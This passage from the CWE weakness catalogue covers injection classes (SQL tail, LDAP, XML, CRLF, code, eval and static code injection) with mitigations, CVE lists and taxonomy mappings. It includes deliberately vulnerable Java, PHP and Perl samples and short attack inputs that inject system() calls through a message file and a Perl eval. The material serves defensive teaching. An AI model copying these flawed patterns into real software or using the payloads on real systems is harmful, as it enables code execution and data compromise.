ChildOf		713	OWASP Top Ten 2007 Category A2 - Injection Flaws	<b>629</b>	1112
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1116
ChildOf		727	OWASP Top Ten 2004 Category A6 - Injection Flaws	<b>711</b>	1118
ChildOf		751	2009 Top 25 - Insecure Interaction Between Components	<b>750</b>	1142
ChildOf		801	2010 Top 25 - Insecure Interaction Between Components	<b>800</b>	1228
ChildOf		810	OWASP Top Ten 2010 Category A1 - Injection	<b>809</b>	1245
ChildOf		864	2011 Top 25 - Insecure Interaction Between Components	<b>900</b>	1308
ChildOf		929	OWASP Top Ten 2013 Category A1 - Injection	<b>928</b>	1358
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic	<b>699</b> <b>1000</b>	1369
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
CanFollow		456	Missing Initialization of a Variable	1000	770
ParentOf		564	SQL Injection: Hibernate	<b>699</b> <b>928</b> <b>1000</b>	900
MemberOf		630	Weaknesses Examined by SAMATE	<b>630</b>	980
MemberOf		635	Weaknesses Used by NVD	<b>635</b>	983
MemberOf		884	CWE Cross-section	<b>884</b>	1319

**Relationship Notes**

SQL injection can be resultant from special character mismanagement, MAID, or blacklist/whitelist problems. It can be primary to authentication errors.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			SQL injection
7 Pernicious Kingdoms			SQL Injection
CLASP			SQL injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
WASC	19		SQL Injection
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
7	Blind SQL Injection	
66	SQL Injection	
108	Command Line Execution through SQL Injection	
109	Object Relational Mapping Injection	
110	SQL Injection through SOAP Parameter Tampering	
470	Expanding Control over the Operating System from the Database	

### White Box Definitions

A weakness where the code path has:

1. start statement that accepts input and
2. end statement that performs an SQL command where
  - a. the input is part of the SQL command and
  - b. input contains SQL syntax (esp. query separator)

### References

- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 1: SQL Injection." Page 3. McGraw-Hill. 2010.
- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 12, "Database Input Issues" Page 397. 2nd Edition. Microsoft. 2002.
- OWASP. "SQL Injection Prevention Cheat Sheet". < [http://www.owasp.org/index.php/SQL\\_Injection\\_Prevention\\_Cheat\\_Sheet](http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet) >.
- Steven Friedl. "SQL Injection Attacks by Example". 2007-10-10. < <http://www.unixwiz.net/techtips/sql-injection.html> >.
- Ferruh Mavituna. "SQL Injection Cheat Sheet". 2007-03-15. < <http://ferruh.mavituna.com/sql-injection-cheatsheet-ok/> >.
- David Litchfield, Chris Anley, John Heasman and Bill Grindlay. "The Database Hacker's Handbook: Defending Database Servers". Wiley. 2005-07-14.
- David Litchfield. "The Oracle Hacker's Handbook: Hacking and Defending Oracle". Wiley. 2007-01-30.
- Microsoft. "SQL Injection". December 2008. < <http://msdn.microsoft.com/en-us/library/ms161953.aspx> >.
- Microsoft Security Vulnerability Research & Defense. "SQL Injection Attack". < <http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx> >.
- Michael Howard. "Giving SQL Injection the Respect it Deserves". 2008-05-15. < <http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx> >.
- Frank Kim. "Top 25 Series - Rank 2 - SQL Injection". SANS Software Security Institute. 2010-03-01. < <http://blogs.sans.org/appsecstreetfighter/2010/03/01/top-25-series-rank-2-sql-injection/> >.
- [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "SQL Queries", Page 431.. 1st Edition. Addison Wesley. 2006.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "SQL Injection", Page 1061.. 1st Edition. Addison Wesley. 2006.

## CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Weakness ID: 90 (Weakness Base)

Status: Draft

### Description

#### Summary

The software constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

##### Technology Classes

- Database-Server

#### Common Consequences

##### Confidentiality

##### Integrity

##### Availability

##### Execute unauthorized code or commands

##### Read application data

##### Modify application data

An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.

#### Demonstrative Examples

The code below constructs an LDAP query using user input address data:

##### Java Example:

*Bad Code*

```
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtrls);
```

Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.

#### Observed Examples

Reference	Description
CVE-2005-2301	Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack.

#### Potential Mitigations

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		713	OWASP Top Ten 2007 Category A2 - Injection Flaws		629 1112
ChildOf		810	OWASP Top Ten 2010 Category A1 - Injection		809 1245
ChildOf		929	OWASP Top Ten 2013 Category A1 - Injection		928 1358
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic		699 1369 1000
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command		888 1388
MemberOf		884	CWE Cross-section		884 1319

**Relationship Notes**

Factors: resultant to special character mismanagement, MAID, or blacklist/whitelist problems. Can be primary to authentication and verification errors.

**Research Gaps**

Under-reported. This is likely found very frequently by third party code auditors, but there are very few publicly reported examples.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			LDAP injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
WASC	29		LDAP Injection
Software Fault Patterns	SFP24		Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
136	LDAP Injection	

**References**

SPI Dynamics. "Web Applications and LDAP Injection".

**CWE-91: XML Injection (aka Blind XPath Injection)**

Weakness ID: 91 (Weakness Base)

Status: Draft

**Description****Summary**

The software does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

**Extended Description**

Within XML, special elements could include reserved words or characters such as "<", ">", "'", and "&", which could then be used to add new data or modify XML syntax.

## Time of Introduction

- Architecture and Design
- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Confidentiality

### Integrity

### Availability

### Execute unauthorized code or commands

### Read application data

### Modify application data

## Potential Mitigations

### Implementation









### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	<b>699</b> <b>1000</b>	113
ChildOf		713	OWASP Top Ten 2007 Category A2 - Injection Flaws	<b>629</b>	1112
ChildOf		727	OWASP Top Ten 2004 Category A6 - Injection Flaws	<b>711</b>	1118
ChildOf		810	OWASP Top Ten 2010 Category A1 - Injection	<b>809</b>	1245
ChildOf		929	OWASP Top Ten 2013 Category A1 - Injection	<b>928</b>	1358
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
ParentOf		643	<i>Improper Neutralization of Data within XPath Expressions ('XPath Injection')</i>	699 1000	998
ParentOf		652	<i>Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')</i>	699 1000	1009

## Research Gaps

Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.

## Theoretical Notes

In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XML injection (aka Blind Xpath injection)
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
WASC	23		XML Injection



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
83	XPath Injection	
250	XML Injection	

### References

Amit Klein. "Blind XPath Injection". 2004-05-19. < <http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "XML Injection", Page 1069.. 1st Edition. Addison Wesley. 2006.

### Maintenance Notes

The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.

## CWE-92: DEPRECATED: Improper Sanitization of Custom Special Characters

**Weakness ID:** 92 (*Deprecated Weakness Base*) **Status:** Deprecated

### Description

#### Summary

This entry has been deprecated. It originally came from PLOVER, which sometimes defined "other" and "miscellaneous" categories in order to satisfy exhaustiveness requirements for taxonomies. Within the context of CWE, the use of a more abstract entry is preferred in mapping situations. CWE-75 is a more appropriate mapping.

## CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')

**Weakness ID:** 93 (*Weakness Base*) **Status:** Draft

### Description

#### Summary

The software uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Modify application data

### Likelihood of Exploit

Medium to High

### Demonstrative Examples

If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.

#### Java Example:

```
logger.info("User's street address: " + request.getParameter("streetAddress"));
```

*Bad Code*

## Observed Examples

Reference	Description
CVE-2002-1771	CRLF injection enables spam proxy (add mail headers) using email address or name.
CVE-2002-1783	CRLF injection in API function arguments modify headers for outgoing requests.
CVE-2004-1513	Spoofed entries in web server log file via carriage returns
CVE-2004-1687	Chain: HTTP response splitting via CRLF in parameter related to URL.
CVE-2005-1951	Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting.
CVE-2006-4624	Chain: inject fake log entries with fake timestamps using CRLF injection

## Potential Mitigations

### Implementation

Avoid using CRLF as a special sequence.

### Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	<b>699</b> <b>1000</b>	113
CanPrecede		117	Improper Output Neutralization for Logs	1000	223
ChildOf		713	OWASP Top Ten 2007 Category A2 - Injection Flaws	<b>629</b>	1112
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
ParentOf		113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	<b>1000</b>	211
CanAlsoBe		144	Improper Neutralization of Line Delimiters	1000	293
CanAlsoBe		145	Improper Neutralization of Section Delimiters	1000	294

## Research Gaps

Probably under-studied, although gaining more prominence in 2005 as a result of interest in HTTP response splitting.

## Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			CRLF Injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
WASC	24		HTTP Request Splitting
Software Fault Patterns	SFP24		Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
15	Command Delimiters	
81	Web Logs Tampering	

## References

Ulf Harnhammar. "CRLF Injection". Bugtraq. 2002-05-07. < <http://marc.info/?l=bugtraq&m=102088154213630&w=2> >.

# CWE-94: Improper Control of Generation of Code ('Code Injection')

Weakness ID: 94 (Weakness Class)

Status: Draft

## Description

### Summary

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

### Extended Description

When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Interpreted languages (*Sometimes*)

### Common Consequences

#### Access Control

#### Bypass protection mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

#### Access Control

#### Gain privileges / assume identity

Injected code can access resources that the attacker is directly prevented from accessing.

#### Integrity

#### Confidentiality

#### Availability

#### Execute unauthorized code or commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

#### Non-Repudiation

#### Hide activities

Often the actions performed by injected control code are unlogged.

### Likelihood of Exploit

Medium

### Demonstrative Examples

#### Example 1:

This example attempts to write user messages to a message file and allow users to view them.

#### PHP Example:

*Bad Code*

```
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($MessageFile, "a+");
    fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
    fclose($handle);
    echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
```

```
include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

Attack

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

Attack

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages. Notice that XSS (CWE-79) is also possible in this situation.

### Example 2:

edit-config.pl: This CGI script is used to modify settings in a configuration file.

#### Perl Example:

Bad Code

```
use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_;
    # code to add a field/key to a file goes here
}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
    # code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;
    my $key = param('key');
    my $val = param('val');
    # this is super-efficient code, especially if you have to invoke
    # any one of dozens of different functions!
    my $code = "config_file_${action}_key(\$fname, \$key, \$val)";
    eval($code);
}
$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
    handleConfigAction($configfile, param('action'));
}
else {
    print "No action specified!\n";
}
```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config\_file\_add\_key(), config\_file\_set\_key(), or config\_file\_delete\_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as: add\_key(","); system("/bin/ls"); This would produce the following string in handleConfigAction(): config\_file\_add\_key(","); system("/bin/ls"); Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "\_key(\\$fname, \\$key, \\$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

**Observed Examples**

Reference	Description
CVE-2001-1471	chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.
CVE-2002-0495	Perl code directly injected into CGI library file from parameters to another CGI program.
CVE-2002-1750	Eval injection in Perl program.
CVE-2002-1752	Direct code injection into Perl eval function.
CVE-2002-1753	Eval injection in Perl program.
CVE-2003-0395	PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.
CVE-2005-1527	Direct code injection into Perl eval function.
CVE-2005-1876	Direct PHP code injection into supporting template file.
CVE-2005-1894	Direct code injection into PHP script that can be accessed by attacker.
CVE-2005-1921	MFV. code injection into PHP eval statement using nested constructs that should not be nested.
CVE-2005-2498	MFV. code injection into PHP eval statement using nested constructs that should not be nested.
CVE-2005-2837	Direct code injection into Perl eval function.
CVE-2005-3302	Code injection into Python eval statement from a field in a formatted file.
CVE-2007-1253	Eval injection in Python program.
CVE-2008-5071	Eval injection in PHP program.
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers.

**Potential Mitigations****Architecture and Design**

Refactor your program so that you do not have to dynamically generate code.

**Architecture and Design**

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your software.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

To reduce the likelihood of code injection, use stringent whitelists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as `system()`, `exec()`, or `exit()`.

**Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Testing**

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

**Operation****Compilation or Build Hardening****Environment Hardening**

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	<b>699</b> <b>1000</b>	113
ChildOf		691	Insufficient Control Flow Management	1000	1072
ChildOf		752	2009 Top 25 - Risky Resource Management	<b>750</b>	1143
ChildOf		913	Improper Control of Dynamically-Managed Code Resources	1000	1336
ChildOf		991	SFP Secondary Cluster: Tainted Input to Environment	<b>888</b>	1390
ParentOf		95	<i>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')</i>	<b>699</b> <b>1000</b>	177
ParentOf		96	<i>Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')</i>	<b>699</b> <b>1000</b>	181
CanFollow		98	<i>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</i>	699 1000	184
MemberOf		635	<i>Weaknesses Used by NVD</i>	<b>635</b>	983
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

**Research Gaps**

Many of these weaknesses are under-studied and under-researched, and terminology is not sufficiently precise.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER	CODE	Code Evaluation and Injection

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
35	Leverage Executable Code in Non-Executable Files	
77	Manipulating User-Controlled Variables	

**References**

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.

## CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Weakness ID: 95 (Weakness Base)

Status: Incomplete

**Description****Summary**



The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

### Extended Description

This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Java
- Javascript
- Python
- Perl
- PHP
- Ruby
- Interpreted Languages

### Modes of Introduction

This weakness is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.

### Common Consequences

#### Confidentiality

##### Read files or directories

##### Read application data

The injected code could access restricted data / files.

#### Access Control

##### Bypass protection mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

#### Access Control

##### Gain privileges / assume identity

Injected code can access resources that the attacker is directly prevented from accessing.

#### Integrity

#### Confidentiality

#### Availability

#### Other

##### Execute unauthorized code or commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

#### Non-Repudiation

##### Hide activities

Often the actions performed by injected control code are unlogged.

### Likelihood of Exploit

Medium

### Demonstrative Examples

edit-config.pl: This CGI script is used to modify settings in a configuration file.

#### Perl Example:

*Bad Code*

```
use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_;
    # code to add a field/key to a file goes here
}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
```

```

# code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;
    my $key = param('key');
    my $val = param('val');
    # this is super-efficient code, especially if you have to invoke
    # any one of dozens of different functions!
    my $code = "config_file_$action_key(\$fname, \$key, \$val)";
    eval($code);
}
$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
    handleConfigAction($configfile, param('action'));
}
else {
    print "No action specified!\n";
}

```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - `config_file_add_key()`, `config_file_set_key()`, or `config_file_delete_key()`. It could set up a conditional to invoke each function separately, but `eval()` is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

Attack

```
add_key(",",""); system("/bin/ls");
```

This would produce the following string in `handleConfigAction()`:

Result

```
config_file_add_key(",",""); system("/bin/ls");
```

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious `eval()` to fail before the attacker's payload is activated. This particular manipulation would fail after the `system()` call, because the `"_key(\$fname, \$key, \$val)"` portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

### Observed Examples

Reference	Description
CVE-2001-1471	chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.
CVE-2002-1750	Eval injection in Perl program.
CVE-2002-1752	Direct code injection into Perl eval function.
CVE-2002-1753	Eval injection in Perl program.
CVE-2005-1527	Direct code injection into Perl eval function.
CVE-2005-1921	MFV. code injection into PHP eval statement using nested constructs that should not be nested.
CVE-2005-2498	MFV. code injection into PHP eval statement using nested constructs that should not be nested.
CVE-2005-2837	Direct code injection into Perl eval function.
CVE-2005-3302	Code injection into Python eval statement from a field in a formatted file.
CVE-2007-1253	Eval injection in Python program.
CVE-2007-2713	Chain: Execution after redirect triggers eval injection.
CVE-2008-5071	Eval injection in PHP program.
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers.

### Potential Mitigations

## Architecture and Design

### Implementation

If possible, refactor your code so that it does not need to use eval() at all.

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

### Other Notes

Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	Count	Page
ChildOf		94	Improper Control of Generation of Code ('Code Injection')	<b>699</b> <b>1000</b>	173
ChildOf		714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	<b>629</b>	1112
ChildOf		727	OWASP Top Ten 2004 Category A6 - Injection Flaws	<b>711</b>	1118
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
MemberOf		884	CWE Cross-section	<b>884</b>	1319

### Research Gaps

This issue is probably under-reported. Most relevant CVEs have been for Perl and PHP, but eval injection applies to most interpreted languages. Javascript eval injection is likely to be heavily under-reported.

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Direct Dynamic Code Evaluation ('Eval Injection')
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
35	Leverage Executable Code in Non-Executable Files	

### References

< <http://www.rubycentral.com/book/taint.html> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 18, "Inline Evaluation", Page 1095.. 1st Edition. Addison Wesley. 2006.

## CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')

Weakness ID: 96 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- PHP
- Perl
- All Interpreted Languages

### Common Consequences

#### Confidentiality

##### Read files or directories

##### Read application data

The injected code could access restricted data / files.

#### Access Control

##### Bypass protection mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

#### Access Control

##### Gain privileges / assume identity

Injected code can access resources that the attacker is directly prevented from accessing.

#### Integrity

#### Confidentiality

#### Availability

#### Other

##### Execute unauthorized code or commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

#### Non-Repudiation

##### Hide activities

Often the actions performed by injected control code are unlogged.

### Enabling Factors for Exploitation

